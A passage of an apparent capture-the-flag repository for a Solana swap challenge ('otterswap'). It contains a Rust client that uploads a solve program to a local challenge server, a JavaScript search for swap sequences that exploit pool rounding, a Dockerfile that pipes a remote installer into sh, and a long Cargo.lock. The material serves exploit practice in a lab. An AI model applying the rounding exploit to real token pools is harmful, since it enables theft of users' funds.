| 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | println!("{:?}", ret); 19 | 20 | Ok(ret) 21 | } 22 | 23 | fn main() -> Result<(), Box> { 24 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 25 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 26 | 27 | let mut line = String::new(); 28 | 29 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 30 | 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", solve::ID)?; 33 | reader.read_line(&mut line)?; 34 | writeln!(stream, "{}", so_data.len())?; 35 | stream.write_all(&so_data)?; 36 | 37 | let chall_id = chall::ID; 38 | 39 | let payer = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 41 | let _mint_a = Pubkey::from_str(&get_line(&mut reader)?)?; 42 | let _mint_b = Pubkey::from_str(&get_line(&mut reader)?)?; 43 | let user_in_account = Pubkey::from_str(&get_line(&mut reader)?)?; 44 | let user_out_account = Pubkey::from_str(&get_line(&mut reader)?)?; 45 | 46 | let ix = solve::instruction::Initialize {}; 47 | let data = ix.data(); 48 | 49 | let swap = Pubkey::find_program_address(&[SWAP_SEED, payer.as_ref()], &chall_id).0; 50 | let pool_a = Pubkey::find_program_address(&[POOL_A_SEED, swap.as_ref()], &chall_id).0; 51 | let pool_b = Pubkey::find_program_address(&[POOL_B_SEED, swap.as_ref()], &chall_id).0; 52 | 53 | let ix_accounts = solve::accounts::Initialize { 54 | swap, 55 | pool_a, 56 | pool_b, 57 | user_in_account, 58 | user_out_account, 59 | payer: user, 60 | token_program: spl_token::ID, 61 | chall: chall_id, 62 | }; 63 | 64 | let metas = ix_accounts.to_account_metas(None); 65 | 66 | writeln!(stream, "{}", metas.len())?; 67 | for meta in metas { 68 | let mut meta_str = String::new(); 69 | meta_str.push('m'); 70 | if meta.is_writable { 71 | meta_str.push('w'); 72 | } 73 | if meta.is_signer { 74 | meta_str.push('s'); 75 | } 76 | meta_str.push(' '); 77 | meta_str.push_str(&meta.pubkey.to_string()); 78 | 79 | writeln!(stream, "{}", meta_str)?; 80 | stream.flush()?; 81 | } 82 | 83 | writeln!(stream, "{}", data.len())?; 84 | stream.write_all(&data)?; 85 | 86 | stream.flush()?; 87 | 88 | line.clear(); 89 | while reader.read_line(&mut line)? != 0 { 90 | print!("{}", line); 91 | line.clear(); 92 | } 93 | 94 | Ok(()) 95 | } 96 | -------------------------------------------------------------------------------- /otterswap/framework-solve/test.js: -------------------------------------------------------------------------------- 1 | var AMT = 10; 2 | 3 | states = [[AMT, 0]]; 4 | tot = new Set(); 5 | var best = 0; 6 | var bestVal = ""; 7 | 8 | var trans = {}; 9 | 10 | let process = (curr, nxt, amt, dir) => { 11 | if (!tot.has(nxt.join())) { 12 | tot.add(nxt.join()); 13 | states.push(nxt); 14 | 15 | trans[nxt.join()] = [curr, amt, dir]; 16 | 17 | var val = nxt[0] + nxt[1]; 18 | if (val > best) { 19 | best = val; 20 | bestVal = nxt.join(); 21 | } 22 | } 23 | } 24 | 25 | tot.add(states[0].join()); 26 | 27 | for (var i = 0; i < 100000; i++) { 28 | var curr = states.shift(); 29 | if (curr === undefined) break; 30 | for (var amt = 1; amt < 110; amt++) { 31 | var x = 2 * AMT - curr[0]; 32 | var y = AMT - curr[1]; 33 | if (amt <= curr[0]) { 34 | var y1 = Math.floor(x * y / (x + amt)); 35 | var x1 = x + amt; 36 | 37 | var nxt = [2 * AMT - x1, AMT - y1]; 38 | process(curr, nxt, amt, true); 39 | 40 | } 41 | if (amt <= curr[1]) { 42 | var x1 = Math.floor(x * y / (y + amt)); 43 | var y1 = y + amt; 44 | 45 | var nxt = [2 * AMT - x1, AMT - y1]; 46 | process(curr, nxt, amt, false); 47 | } 48 | } 49 | } 50 | 51 | var vals = []; 52 | 53 | var curr = bestVal; 54 | console.log(bestVal); 55 | for (let i = 0; i < 100; i++) { 56 | if (trans[curr] == undefined) break; 57 | let [nxt, amt, dir] = trans[curr]; 58 | 59 | console.log(nxt, amt, dir); 60 | 61 | curr = nxt.join(); 62 | 63 | vals.unshift(amt * (dir ? -1: 1)); 64 | } 65 | 66 | console.log(vals.join(", ")); 67 | -------------------------------------------------------------------------------- /otterswap/framework/.dockerignore: -------------------------------------------------------------------------------- 1 | target 2 | chall/target 3 | !chall/target/deploy 4 | chall/.anchor 5 | chall/node_modules 6 | -------------------------------------------------------------------------------- /otterswap/framework/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /otterswap/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program-test = "1.9.13" 10 | solana-program = "1.9.13" 11 | solana-logger = "1.9.13" 12 | solana-sdk = "1.9.13" 13 | spl-token = "3.3.0" 14 | chall = { path ="./chall/programs/chall", features = ["no-entrypoint"] } 15 | sol-ctf-framework = { git = "https://github.com/otter-sec/sol-ctf-framework", branch="rewrite-v2" } 16 | #sol-ctf-framework = { path="../../sol-ctf-framework" } 17 | threadpool = "1.8.1" 18 | -------------------------------------------------------------------------------- /otterswap/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | CMD [ "./target/release/framework" ] 18 | -------------------------------------------------------------------------------- /otterswap/framework/chall/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otterswap/framework/chall/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otterswap/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | chall = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otterswap/framework/chall/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "ahash" 7 | version = "0.7.6" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47" 10 | dependencies = [ 11 | "getrandom 0.2.7", 12 | "once_cell", 13 | "version_check", 14 | ] 15 | 16 | [[package]] 17 | name = "aho-corasick" 18 | version = "0.7.18" 19 | source = "registry+https://github.com/rust-lang/crates.io-index" 20 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" 21 | dependencies = [ 22 | "memchr", 23 | ] 24 | 25 | [[package]] 26 | name = "anchor-attribute-access-control" 27 | version = "0.24.2" 28 | source = "registry+https://github.com/rust-lang/crates.io-index" 29 | checksum = "a9b75d05b6b4ac9d95bb6e3b786b27d3a708c4c5a87c92ffaa25bbe9ae4c5d91" 30 | dependencies = [ 31 | "anchor-syn", 32 | "anyhow", 33 | "proc-macro2", 34 | "quote", 35 | "regex", 36 | "syn", 37 | ] 38 | 39 | [[package]] 40 | name = "anchor-attribute-account" 41 | version = "0.24.2" 42 | source = "registry+https://github.com/rust-lang/crates.io-index" 43 | checksum = "485351a6d8157750d10d88c8e256f1bf8339262b2220ae9125aed3471309b5de" 44 | dependencies = [ 45 | "anchor-syn", 46 | "anyhow", 47 | "bs58 0.4.0", 48 | "proc-macro2", 49 | "quote", 50 | "rustversion", 51 | "syn", 52 | ] 53 | 54 | [[package]] 55 | name = "anchor-attribute-constant" 56 | version = "0.24.2" 57 | source = "registry+https://github.com/rust-lang/crates.io-index" 58 | checksum = "dc632c540913dd051a78b00587cc47f57013d303163ddfaf4fa18717f7ccc1e0" 59 | dependencies = [ 60 | "anchor-syn", 61 | "proc-macro2", 62 | "syn", 63 | ] 64 | 65 | [[package]] 66 | name = "anchor-attribute-error" 67 | version = "0.24.2" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "3b5bd1dcfa7f3bc22dacef233d70a9e0bee269c4ac484510662f257cba2353a1" 70 | dependencies = [ 71 | "anchor-syn", 72 | "proc-macro2", 73 | "quote", 74 | "syn", 75 | ] 76 | 77 | [[package]] 78 | name = "anchor-attribute-event" 79 | version = "0.24.2" 80 | source = "registry+https://github.com/rust-lang/crates.io-index" 81 | checksum = "6c6f9e6ce551ac9a177a45c99a65699a860c9e95fac68675138af1246e2591b0" 82 | dependencies = [ 83 | "anchor-syn", 84 | "anyhow", 85 | "proc-macro2", 86 | "quote", 87 | "syn", 88 | ] 89 | 90 | [[package]] 91 | name = "anchor-attribute-interface" 92 | version = "0.24.2" 93 | source = "registry+https://github.com/rust-lang/crates.io-index" 94 | checksum = "d104aa17418cb329ed7418b227e083d5f326a27f26ce98f5d92e33da62a5f459" 95 | dependencies = [ 96 | "anchor-syn", 97 | "anyhow", 98 | "heck", 99 | "proc-macro2", 100 | "quote", 101 | "syn", 102 | ] 103 | 104 | [[package]] 105 | name = "anchor-attribute-program" 106 | version = "0.24.2" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "b6831b920b173c004ddf7ae1167d1d25e9f002ffcb1773bbc5c7ce532a4441e1" 109 | dependencies = [ 110 | "anchor-syn", 111 | "anyhow", 112 | "proc-macro2", 113 | "quote", 114 | "syn", 115 | ] 116 | 117 | [[package]] 118 | name = "anchor-attribute-state" 119 | version = "0.24.2" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "cde147b10c71d95dc679785db0b5f3abac0091f789167aa62ac0135e2f54e8b9" 122 | dependencies = [ 123 | "anchor-syn", 124 | "anyhow", 125 | "proc-macro2", 126 | "quote", 127 | "syn", 128 | ] 129 | 130 | [[package]] 131 | name = "anchor-derive-accounts" 132 | version = "0.24.2" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "9cde98a0e1a56046b040ff591dfda391f88917af2b6487d02b45093c05be3514" 135 | dependencies = [ 136 | "anchor-syn", 137 | "anyhow", 138 | "proc-macro2", 139 | "quote", 140 | "syn", 141 | ] 142 | 143 | [[package]] 144 | name = "anchor-lang" 145 | version = "0.24.2" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "a85dd2c5e29e20c7f4701a43724d6cd5406d0ee5694705522e43da0f26542a84" 148 | dependencies = [ 149 | "anchor-attribute-access-control", 150 | "anchor-attribute-account", 151 | "anchor-attribute-constant", 152 | "anchor-attribute-error", 153 | "anchor-attribute-event", 154 | "anchor-attribute-interface", 155 | "anchor-attribute-program", 156 | "anchor-attribute-state", 157 | "anchor-derive-accounts", 158 | "arrayref", 159 | "base64 0.13.0", 160 | "bincode", 161 | "borsh", 162 | "bytemuck", 163 | "solana-program", 164 | "thiserror", 165 | ] 166 | 167 | [[package]] 168 | name = "anchor-spl" 169 | version = "0.24.2" 170 | source = "registry+https://github.com/rust-lang/crates.io-index" 171 | checksum = "0188c33b4a3c124c4e593f2b440415aaea70a7650fac6ba0772395385d71c003" 172 | dependencies = [ 173 | "anchor-lang", 174 | "solana-program", 175 | "spl-associated-token-account", 176 | "spl-token", 177 | ] 178 | 179 | [[package]] 180 | name = "anchor-syn" 181 | version = "0.24.2" 182 | source = "registry+https://github.com/rust-lang/crates.io-index" 183 | checksum = "03549dc2eae0b20beba6333b14520e511822a6321cdb1760f841064a69347316" 184 | dependencies = [ 185 | "anyhow", 186 | "bs58 0.3.1", 187 | "heck", 188 | "proc-macro2", 189 | "proc-macro2-diagnostics", 190 | "quote", 191 | "serde", 192 | "serde_json", 193 | "sha2", 194 | "syn", 195 | "thiserror", 196 | ] 197 | 198 | [[package]] 199 | name = "anyhow" 200 | version = "1.0.58" 201 | source = "registry+https://github.com/rust-lang/crates.io-index" 202 | checksum = "bb07d2053ccdbe10e2af2995a2f116c1330396493dc1269f6a91d0ae82e19704" 203 | 204 | [[package]] 205 | name = "arrayref" 206 | version = "0.3.6" 207 | source = "registry+https://github.com/rust-lang/crates.io-index" 208 | checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544" 209 | 210 | [[package]] 211 | name = "arrayvec" 212 | version = "0.7.2" 213 | source = "registry+https://github.com/rust-lang/crates.io-index" 214 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6" 215 | 216 | [[package]] 217 | name = "atty" 218 | version = "0.2.14" 219 | source = "registry+https://github.com/rust-lang/crates.io-index" 220 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" 221 | dependencies = [ 222 | "hermit-abi", 223 | "libc", 224 | "winapi", 225 | ] 226 | 227 | [[package]] 228 | name = "autocfg" 229 | version = "1.1.0" 230 | source = "registry+https://github.com/rust-lang/crates.io-index" 231 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" 232 | 233 | [[package]] 234 | name = "base64" 235 | version = "0.12.3" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff" 238 | 239 | [[package]] 240 | name = "base64" 241 | version = "0.13.0" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd" 244 | 245 | [[package]] 246 | name = "bincode" 247 | version = "1.3.3" 248 | source = "registry+https://github.com/rust-lang/crates.io-index" 249 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" 250 | dependencies = [ 251 | "serde", 252 | ] 253 | 254 | [[package]] 255 | name = "bitflags" 256 | version = "1.3.2" 257 | source = "registry+https://github.com/rust-lang/crates.io-index" 258 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" 259 | 260 | [[package]] 261 | name = "blake3" 262 | version = "1.3.1" 263 | source = "registry+https://github.com/rust-lang/crates.io-index" 264 | checksum = "a08e53fc5a564bb15bfe6fae56bd71522205f1f91893f9c0116edad6496c183f" 265 | dependencies = [ 266 | "arrayref", 267 | "arrayvec", 268 | "cc", 269 | "cfg-if", 270 | "constant_time_eq", 271 | "digest 0.10.3", 272 | ] 273 | 274 | [[package]] 275 | name = "block-buffer" 276 | version = "0.9.0" 277 | source = "registry+https://github.com/rust-lang/crates.io-index" 278 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4" 279 | dependencies = [ 280 | "block-padding", 281 | "generic-array", 282 | ] 283 | 284 | [[package]] 285 | name = "block-buffer" 286 | version = "0.10.2" 287 | source = "registry+https://github.com/rust-lang/crates.io-index" 288 | checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324" 289 | dependencies = [ 290 | "generic-array", 291 | ] 292 | 293 | [[package]] 294 | name = "block-padding" 295 | version = "0.2.1" 296 | source = "registry+https://github.com/rust-lang/crates.io-index" 297 | checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae" 298 | 299 | [[package]] 300 | name = "borsh" 301 | version = "0.9.3" 302 | source = "registry+https://github.com/rust-lang/crates.io-index" 303 | checksum = "15bf3650200d8bffa99015595e10f1fbd17de07abbc25bb067da79e769939bfa" 304 | dependencies = [ 305 | "borsh-derive", 306 | "hashbrown", 307 | ] 308 | 309 | [[package]] 310 | name = "borsh-derive" 311 | version = "0.9.3" 312 | source = "registry+https://github.com/rust-lang/crates.io-index" 313 | checksum = "6441c552f230375d18e3cc377677914d2ca2b0d36e52129fe15450a2dce46775" 314 | dependencies = [ 315 | "borsh-derive-internal", 316 | "borsh-schema-derive-internal", 317 | "proc-macro-crate 0.1.5", 318 | "proc-macro2", 319 | "syn", 320 | ] 321 | 322 | [[package]] 323 | name = "borsh-derive-internal" 324 | version = "0.9.3" 325 | source = "registry+https://github.com/rust-lang/crates.io-index" 326 | checksum = "5449c28a7b352f2d1e592a8a28bf139bc71afb0764a14f3c02500935d8c44065" 327 | dependencies = [ 328 | "proc-macro2", 329 | "quote", 330 | "syn", 331 | ] 332 | 333 | [[package]] 334 | name = "borsh-schema-derive-internal" 335 | version = "0.9.3" 336 | source = "registry+https://github.com/rust-lang/crates.io-index" 337 | checksum = "cdbd5696d8bfa21d53d9fe39a714a18538bad11492a42d066dbbc395fb1951c0" 338 | dependencies = [ 339 | "proc-macro2", 340 | "quote", 341 | "syn", 342 | ] 343 | 344 | [[package]] 345 | name = "bs58" 346 | version = "0.3.1" 347 | source = "registry+https://github.com/rust-lang/crates.io-index" 348 | checksum = "476e9cd489f9e121e02ffa6014a8ef220ecb15c05ed23fc34cca13925dc283fb" 349 | 350 | [[package]] 351 | name = "bs58" 352 | version = "0.4.0" 353 | source = "registry+https://github.com/rust-lang/crates.io-index" 354 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3" 355 | 356 | [[package]] 357 | name = "bumpalo" 358 | version = "3.10.0" 359 | source = "registry+https://github.com/rust-lang/crates.io-index" 360 | checksum = "37ccbd214614c6783386c1af30caf03192f17891059cecc394b4fb119e363de3" 361 | 362 | [[package]] 363 | name = "bv" 364 | version = "0.11.1" 365 | source = "registry+https://github.com/rust-lang/crates.io-index" 366 | checksum = "8834bb1d8ee5dc048ee3124f2c7c1afcc6bc9aed03f11e9dfd8c69470a5db340" 367 | dependencies = [ 368 | "feature-probe", 369 | "serde", 370 | ] 371 | 372 | [[package]] 373 | name = "bytemuck" 374 | version = "1.10.0" 375 | source = "registry+https://github.com/rust-lang/crates.io-index" 376 | checksum = "c53dfa917ec274df8ed3c572698f381a24eef2efba9492d797301b72b6db408a" 377 | dependencies = [ 378 | "bytemuck_derive", 379 | ] 380 | 381 | [[package]] 382 | name = "bytemuck_derive" 383 | version = "1.1.0" 384 | source = "registry+https://github.com/rust-lang/crates.io-index" 385 | checksum = "562e382481975bc61d11275ac5e62a19abd00b0547d99516a415336f183dcd0e" 386 | dependencies = [ 387 | "proc-macro2", 388 | "quote", 389 | "syn", 390 | ] 391 | 392 | [[package]] 393 | name = "byteorder" 394 | version = "1.4.3" 395 | source = "registry+https://github.com/rust-lang/crates.io-index" 396 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" 397 | 398 | [[package]] 399 | name = "cc" 400 | version = "1.0.73" 401 | source = "registry+https://github.com/rust-lang/crates.io-index" 402 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" 403 | 404 | [[package]] 405 | name = "cfg-if" 406 | version = "1.0.0" 407 | source = "registry+https://github.com/rust-lang/crates.io-index" 408 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 409 | 410 | [[package]] 411 | name = "chall" 412 | version = "0.1.0" 413 | dependencies = [ 414 | "anchor-lang", 415 | "anchor-spl", 416 | ] 417 | 418 | [[package]] 419 | name = "console_error_panic_hook" 420 | version = "0.1.7" 421 | source = "registry+https://github.com/rust-lang/crates.io-index" 422 | checksum = "a06aeb73f470f66dcdbf7223caeebb85984942f22f1adb2a088cf9668146bbbc" 423 | dependencies = [ 424 | "cfg-if", 425 | "wasm-bindgen", 426 | ] 427 | 428 | [[package]] 429 | name = "console_log" 430 | version = "0.2.0" 431 | source = "registry+https://github.com/rust-lang/crates.io-index" 432 | checksum = "501a375961cef1a0d44767200e66e4a559283097e91d0730b1d75dfb2f8a1494" 433 | dependencies = [ 434 | "log", 435 | "web-sys", 436 | ] 437 | 438 | [[package]] 439 | name = "constant_time_eq" 440 | version = "0.1.5" 441 | source = "registry+https://github.com/rust-lang/crates.io-index" 442 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc" 443 | 444 | [[package]] 445 | name = "cpufeatures" 446 | version = "0.2.2" 447 | source = "registry+https://github.com/rust-lang/crates.io-index" 448 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b" 449 | dependencies = [ 450 | "libc", 451 | ] 452 | 453 | [[package]] 454 | name = "crunchy" 455 | version = "0.2.2" 456 | source = "registry+https://github.com/rust-lang/crates.io-index" 457 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" 458 | 459 | [[package]] 460 | name = "crypto-common" 461 | version = "0.1.6" 462 | source = "registry+https://github.com/rust-lang/crates.io-index" 463 | checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" 464 | dependencies = [ 465 | "generic-array", 466 | "typenum", 467 | ] 468 | 469 | [[package]] 470 | name = "crypto-mac" 471 | version = "0.8.0" 472 | source = "registry+https://github.com/rust-lang/crates.io-index" 473 | checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab" 474 | dependencies = [ 475 | "generic-array", 476 | "subtle", 477 | ] 478 | 479 | [[package]] 480 | name = "curve25519-dalek" 481 | version = "3.2.1" 482 | source = "registry+https://github.com/rust-lang/crates.io-index" 483 | checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" 484 | dependencies = [ 485 | "byteorder", 486 | "digest 0.9.0", 487 | "rand_core", 488 | "subtle", 489 | "zeroize", 490 | ] 491 | 492 | [[package]] 493 | name = "digest" 494 | version = "0.9.0" 495 | source = "registry+https://github.com/rust-lang/crates.io-index" 496 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066" 497 | dependencies = [ 498 | "generic-array", 499 | ] 500 | 501 | [[package]] 502 | name = "digest" 503 | version = "0.10.3" 504 | source = "registry+https://github.com/rust-lang/crates.io-index" 505 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506" 506 | dependencies = [ 507 | "block-buffer 0.10.2", 508 | "crypto-common", 509 | "subtle", 510 | ] 511 | 512 | [[package]] 513 | name = "either" 514 | version = "1.7.0" 515 | source = "registry+https://github.com/rust-lang/crates.io-index" 516 | checksum = "3f107b87b6afc2a64fd13cac55fe06d6c8859f12d4b14cbcdd2c67d0976781be" 517 | 518 | [[package]] 519 | name = "env_logger" 520 | version = "0.9.0" 521 | source = "registry+https://github.com/rust-lang/crates.io-index" 522 | checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3" 523 | dependencies = [ 524 | "atty", 525 | "humantime", 526 | "log", 527 | "regex", 528 | "termcolor", 529 | ] 530 | 531 | [[package]] 532 | name = "feature-probe" 533 | version = "0.1.1" 534 | source = "registry+https://github.com/rust-lang/crates.io-index" 535 | checksum = "835a3dc7d1ec9e75e2b5fb4ba75396837112d2060b03f7d43bc1897c7f7211da" 536 | 537 | [[package]] 538 | name = "generic-array" 539 | version = "0.14.5" 540 | source = "registry+https://github.com/rust-lang/crates.io-index" 541 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803" 542 | dependencies = [ 543 | "serde", 544 | "typenum", 545 | "version_check", 546 | ] 547 | 548 | [[package]] 549 | name = "getrandom" 550 | version = "0.1.16" 551 | source = "registry+https://github.com/rust-lang/crates.io-index" 552 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" 553 | dependencies = [ 554 | "cfg-if", 555 | "js-sys", 556 | "libc", 557 | "wasi 0.9.0+wasi-snapshot-preview1", 558 | "wasm-bindgen", 559 | ] 560 | 561 | [[package]] 562 | name = "getrandom" 563 | version = "0.2.7" 564 | source = "registry+https://github.com/rust-lang/crates.io-index" 565 | checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6" 566 | dependencies = [ 567 | "cfg-if", 568 | "libc", 569 | "wasi 0.11.0+wasi-snapshot-preview1", 570 | ] 571 | 572 | [[package]] 573 | name = "hashbrown" 574 | version = "0.11.2" 575 | source = "registry+https://github.com/rust-lang/crates.io-index" 576 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" 577 | dependencies = [ 578 | "ahash", 579 | ] 580 | 581 | [[package]] 582 | name = "heck" 583 | version = "0.3.3" 584 | source = "registry+https://github.com/rust-lang/crates.io-index" 585 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" 586 | dependencies = [ 587 | "unicode-segmentation", 588 | ] 589 | 590 | [[package]] 591 | name = "hermit-abi" 592 | version = "0.1.19" 593 | source = "registry+https://github.com/rust-lang/crates.io-index" 594 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" 595 | dependencies = [ 596 | "libc", 597 | ] 598 | 599 | [[package]] 600 | name = "hmac" 601 | version = "0.8.1" 602 | source = "registry+https://github.com/rust-lang/crates.io-index" 603 | checksum = "126888268dcc288495a26bf004b38c5fdbb31682f992c84ceb046a1f0fe38840" 604 | dependencies = [ 605 | "crypto-mac", 606 | "digest 0.9.0", 607 | ] 608 | 609 | [[package]] 610 | name = "hmac-drbg" 611 | version = "0.3.0" 612 | source = "registry+https://github.com/rust-lang/crates.io-index" 613 | checksum = "17ea0a1394df5b6574da6e0c1ade9e78868c9fb0a4e5ef4428e32da4676b85b1" 614 | dependencies = [ 615 | "digest 0.9.0", 616 | "generic-array", 617 | "hmac", 618 | ] 619 | 620 | [[package]] 621 | name = "humantime" 622 | version = "2.1.0" 623 | source = "registry+https://github.com/rust-lang/crates.io-index" 624 | checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" 625 | 626 | [[package]] 627 | name = "instant" 628 | version = "0.1.12" 629 | source = "registry+https://github.com/rust-lang/crates.io-index" 630 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 631 | dependencies = [ 632 | "cfg-if", 633 | ] 634 | 635 | [[package]] 636 | name = "itertools" 637 | version = "0.10.3" 638 | source = "registry+https://github.com/rust-lang/crates.io-index" 639 | checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3" 640 | dependencies = [ 641 | "either", 642 | ] 643 | 644 | [[package]] 645 | name = "itoa" 646 | version = "1.0.2" 647 | source = "registry+https://github.com/rust-lang/crates.io-index" 648 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d" 649 | 650 | [[package]] 651 | name = "js-sys" 652 | version = "0.3.58" 653 | source = "registry+https://github.com/rust-lang/crates.io-index" 654 | checksum = "c3fac17f7123a73ca62df411b1bf727ccc805daa070338fda671c86dac1bdc27" 655 | dependencies = [ 656 | "wasm-bindgen", 657 | ] 658 | 659 | [[package]] 660 | name = "keccak" 661 | version = "0.1.2" 662 | source = "registry+https://github.com/rust-lang/crates.io-index" 663 | checksum = "f9b7d56ba4a8344d6be9729995e6b06f928af29998cdf79fe390cbf6b1fee838" 664 | 665 | [[package]] 666 | name = "lazy_static" 667 | version = "1.4.0" 668 | source = "registry+https://github.com/rust-lang/crates.io-index" 669 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 670 | 671 | [[package]] 672 | name = "libc" 673 | version = "0.2.126" 674 | source = "registry+https://github.com/rust-lang/crates.io-index" 675 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836" 676 | 677 | [[package]] 678 | name = "libsecp256k1" 679 | version = "0.6.0" 680 | source = "registry+https://github.com/rust-lang/crates.io-index" 681 | checksum = "c9d220bc1feda2ac231cb78c3d26f27676b8cf82c96971f7aeef3d0cf2797c73" 682 | dependencies = [ 683 | "arrayref", 684 | "base64 0.12.3", 685 | "digest 0.9.0", 686 | "hmac-drbg", 687 | "libsecp256k1-core", 688 | "libsecp256k1-gen-ecmult", 689 | "libsecp256k1-gen-genmult", 690 | "rand", 691 | "serde", 692 | "sha2", 693 | "typenum", 694 | ] 695 | 696 | [[package]] 697 | name = "libsecp256k1-core" 698 | version = "0.2.2" 699 | source = "registry+https://github.com/rust-lang/crates.io-index" 700 | checksum = "d0f6ab710cec28cef759c5f18671a27dae2a5f952cdaaee1d8e2908cb2478a80" 701 | dependencies = [ 702 | "crunchy", 703 | "digest 0.9.0", 704 | "subtle", 705 | ] 706 | 707 | [[package]] 708 | name = "libsecp256k1-gen-ecmult" 709 | version = "0.2.1" 710 | source = 